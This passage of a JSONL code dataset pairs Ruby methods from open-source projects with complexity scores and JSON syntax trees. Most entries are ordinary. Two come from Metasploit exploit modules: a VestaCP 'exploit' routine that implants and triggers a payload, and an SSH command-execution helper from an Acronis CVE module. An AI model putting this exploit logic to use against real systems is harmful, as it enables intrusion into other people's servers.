end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_collection_for_manager\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"manager_type\"]},{\"type\":\"arg\",\"children\":[\"collection_name\"]},{\"type\":\"optarg\",\"children\":[\"extra_properties\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"settings\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager_type\"]}]},{\"type\":\"str\",\"children\":[\"_manager\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"builder_class\",{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"manager_type\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_collection\",{\"type\":\"lvar\",\"children\":[\"builder_class\"]},{\"type\":\"lvar\",\"children\":[\"collection_name\"]},{\"type\":\"lvar\",\"children\":[\"extra_properties\"]},{\"type\":\"lvar\",\"children\":[\"settings\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"d406f0af-1b82-455c-872a-e45186ab645c"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/show_end_point.rb","start_line":31,"raw_source":"def render(request)\n      timestamps = Timestamp.parse_multiple(request.params[:timestamps])\n      forbidden_timestamps = timestamps - Timestamp.allowed(timestamps)\n\n      if forbidden_timestamps.any?\n        message =\n          I18n.t(:\"activerecord.errors.models.query.attributes.timestamps.forbidden\",\n                 values: forbidden_timestamps.join(\", \"))\n        raise ::API::Errors::BadRequest.new(message)\n      end\n\n      API::V3::WorkPackages::WorkPackageRepresenter\n        .create(request.instance_exec(request.params, &instance_generator),\n                current_user: request.current_user,\n                embed_links: true,\n                timestamps:)\n    end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timestamps\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timestamp\"]},\"parse_multiple\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamps\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"forbidden_timestamps\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamps\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timestamp\"]},\"allowed\",{\"type\":\"lvar\",\"children\":[\"timestamps\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forbidden_timestamps\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"activerecord.errors.models.query.attributes.timestamps.forbidden\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forbidden_timestamps\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"Errors\"]},\"BadRequest\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"V3\"]},\"WorkPackages\"]},\"WorkPackageRepresenter\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"instance_exec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"params\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_generator\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed_links\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"lvar\",\"children\":[\"timestamps\"]}]}]}]}]}]}","id":"c46f2c19-2c76-4249-935c-d6dfee7b83c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/normalizer/number_strategy.rb","start_line":13,"raw_source":"def build_from(job_name, config)\n              total = config.is_a?(Hash) ? config[:number] : config\n\n              Array.new(total) do |index|\n                new(job_name, index.next, total)\n              end\n            end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number\"]}]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"total\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"next\"]},{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}]}]}","id":"7f856892-d14c-4cbb-843b-aad44e33fd5c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/portals/categories_controller.rb","start_line":17,"raw_source":"def set_category\n    @category = @portal.categories.find_by(locale: params[:locale], slug: params[:category_slug])\n\n    Rails.logger.info \"Category: not found for slug: #{params[:category_slug]}\"\n    render_404 && return if @category.blank?\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_category\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@category\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@portal\"]},\"categories\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_slug\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Category: not found for slug: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_slug\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"blank?\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]},{\"type\":\"return\",\"children\":[]}]},null]}]}]}","id":"2c6d3129-0a1e-4d97-9391-4700a76b8aa5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":399,"raw_source":"def test_text_field_placeholder_without_locales\n    I18n.with_locale :placeholder do\n      assert_dom_equal('<input id=\"post_body\" name=\"post[body]\" placeholder=\"Body\" type=\"text\" value=\"Back to the hill and over it again!\" />', text_field(:post, :body, placeholder: true))\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_text_field_placeholder_without_locales\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"sym\",\"children\":[\"placeholder\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_body\\\" name=\\\"post[body]\\\" placeholder=\\\"Body\\\" type=\\\"text\\\" value=\\\"Back to the hill and over it again!\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"text_field\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"ec015157-e8bc-4c19-9285-0cc33434e95a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/feature_available_usage.rb","start_line":91,"raw_source":"def feature_arg_name(node)\n          feature = feature_arg(node)\n          return unless feature\n          return feature.children.compact.join('.') if dynamic_feature?(node)\n          return feature.children[0].inspect if feature.literal?\n\n          feature.type\n        end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_arg_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"feature\",{\"type\":\"send\",\"children\":[null,\"feature_arg\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dynamic_feature?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"children\"]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"literal?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"inspect\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"type\"]}]}]}","id":"2c384b92-a08b-42e0-a457-76580bf88403"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/screenshot_flatten.rb","start_line":7,"raw_source":"def run(path)\n      UI.message(\"Removing the alpha channel from generated png files\")\n      flatten(path)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Removing the alpha channel from generated png files\"]}]},{\"type\":\"send\",\"children\":[null,\"flatten\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"2641b104-0d75-4e69-95d4-3cd74a14324c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations.rb","start_line":92,"raw_source":"def deprecated_associations_api_guard(association, method_name)\n        Deprecation.guard(association.reflection) { \"the method #{method_name} was invoked\" }\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecated_associations_api_guard\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]},{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deprecation\"]},\"guard\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"reflection\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"the method \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"str\",\"children\":[\" was invoked\"]}]}]}]}","id":"54532bb7-ba37-439a-bee3-0a229cf0c929"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vestacp_exec.rb","start_line":240,"raw_source":"def exploit\n    start_http_server\n    payload_implant\n    login\n    start_backup_and_trigger_payload\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_http_server\"]},{\"type\":\"send\",\"children\":[null,\"payload_implant\"]},{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"send\",\"children\":[null,\"start_backup_and_trigger_payload\"]}]}]}","id":"1ccc5873-568d-46a0-b092-47cf3111a848"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/create_commit_status_service.rb","start_line":204,"raw_source":"def create_log_entry\n      Gitlab::AppJsonLogger.info(\n        class: self.class.name,\n        namespace_id: project.namespace_id,\n        project_id: project.id,\n        pipeline_id: params[:pipeline_id],\n        subscription_plan: project.actual_plan_name,\n        message: 'Project tried to create more jobs than the quota allowed'\n      )\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_log_entry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppJsonLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pipeline_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscription_plan\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"actual_plan_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Project tried to create more jobs than the quota allowed\"]}]}]}]}]}","id":"bca4b52b-b9d7-43f2-8500-8d2c101608d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/base.rb","start_line":113,"raw_source":"def content_inputs\n              params.to_h.slice(:inputs).each_value.first\n            end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"content_inputs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_h\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"inputs\"]}]},\"each_value\"]},\"first\"]}]}","id":"31c97a05-3a48-4f9b-ac7e-1cc4dede8fc0"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cached/belongs_to_test.rb","start_line":44,"raw_source":"def test_embedded_by_reference\n        refute_predicate(belongs_to, :embedded_by_reference?)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_embedded_by_reference\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"refute_predicate\",{\"type\":\"send\",\"children\":[null,\"belongs_to\"]},{\"type\":\"sym\",\"children\":[\"embedded_by_reference?\"]}]}]}","id":"493838af-de45-46f1-a51e-a6eb3af13eec"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb","start_line":593,"raw_source":"def rename_enum(name, new_name = nil, **options)\n        new_name ||= options.fetch(:to) do\n          raise ArgumentError, \"rename_enum requires two from/to name positional arguments.\"\n        end\n\n        exec_query(\"ALTER TYPE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}\").tap { reload_type_map }\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_enum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"new_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"to\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"rename_enum requires two from/to name positional arguments.\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exec_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TYPE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" RENAME TO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"reload_type_map\"]}]}]}]}","id":"5173ebe0-9d91-445b-af18-b6137395d7a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":142,"raw_source":"def within_vscode_editor(&block)\n            iframe = find('#ide iframe')\n            page.within_frame(iframe, &block)\n          end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"within_vscode_editor\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iframe\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#ide iframe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within_frame\",{\"type\":\"lvar\",\"children\":[\"iframe\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"4f268317-af1d-4fba-bbda-a1ec280101c1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/acronis_cyber_infra_cve_2023_45249.rb","start_line":244,"raw_source":"def execute_command(cmd, _opts = {})\n    Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }\n  rescue Timeout::Error\n    @timeout = true\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WfsDelay\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh_socket\"]},\"exec!\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@timeout\",{\"type\":\"true\",\"children\":[]}]}]},null]}]}","id":"b36fa948-5396-4071-9069-2a9fc0ebb8d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/cron_timezone_validator.rb","start_line":7,"raw_source":"def validate_each(record, attribute, value)\n    cron_parser = Gitlab::Ci::CronParser.new(record.cron, record.cron_timezone)\n    record.errors.add(attribute, 'syntax is invalid') unless cron_parser.cron_timezone_valid?\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cron_parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"CronParser\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"cron\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"cron_timezone\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cron_parser\"]},\"cron_timezone_valid?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"syntax is invalid\"]}]}]}]}]}","id":"88b2f796-3329-4514-aad3-b885e916fe47"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_archived_and_traversal_ids_to_vulnerability_reads_spec.rb","start_line":83,"raw_source":"def create_vulnerability_read(project_id:)\n    scanner = scanners.create!(project_id: project_id, external_id: 'foo', name: 'bar')\n\n    identifier = vulnerability_identifiers.create!(\n      project_id: project_id,\n      external_id: \"CVE-2018-1234\",\n      external_type: \"CVE\",\n      name: \"CVE-2018-1234\",\n      fingerprint: SecureRandom.hex(20)\n    )\n\n    finding = vulnerability_findings.create!(\n      project_id: project_id,\n      scanner_id: scanner.id,\n      severity: 5, # medium\n      report_type: 99, # generic\n      primary_identifier_id: identifier.id,\n      project_fingerprint: SecureRandom.hex(20),\n      location_fingerprint: SecureRandom.hex(20),\n      uuid: SecureRandom.uuid,\n      name: \"CVE-2018-1234\",\n      raw_metadata: \"{}\",\n      metadata_version: \"test:1.0\"\n    )\n\n    vulnerability = vulnerabilities.create!(\n      project_id: project_id,\n      author_id: user.id,\n      title: 'Vulnerability 1',\n      severity: 1,\n      confidence: 1,\n      report_type: 1,\n      state: 1,\n      finding_id: finding.id\n    )\n\n    vulnerability_reads.create!(\n      vulnerability_id: vulnerability.id,\n      namespace_id: project.namespace_id,\n      project_id: project_id,\n      scanner_id: scanner.id,\n      report_type: 1,\n      severity: 1,\n      state: 1,\n      uuid: SecureRandom.uuid,\n      archived: false,\n      traversal_ids: []\n    )\n  end","complexity_score":35.95,"ast_json":"{\"type\":\"def\",\"children\":[\"create_vulnerability_read\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scanner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scanners\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_id\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerability_identifiers\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_id\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_type\"]},{\"type\":\"str\",\"children\":[\"CVE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[20]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"finding\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerability_findings\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scanner_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_type\"]},{\"type\":\"int\",\"children\":[99]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_identifier_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location_fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\"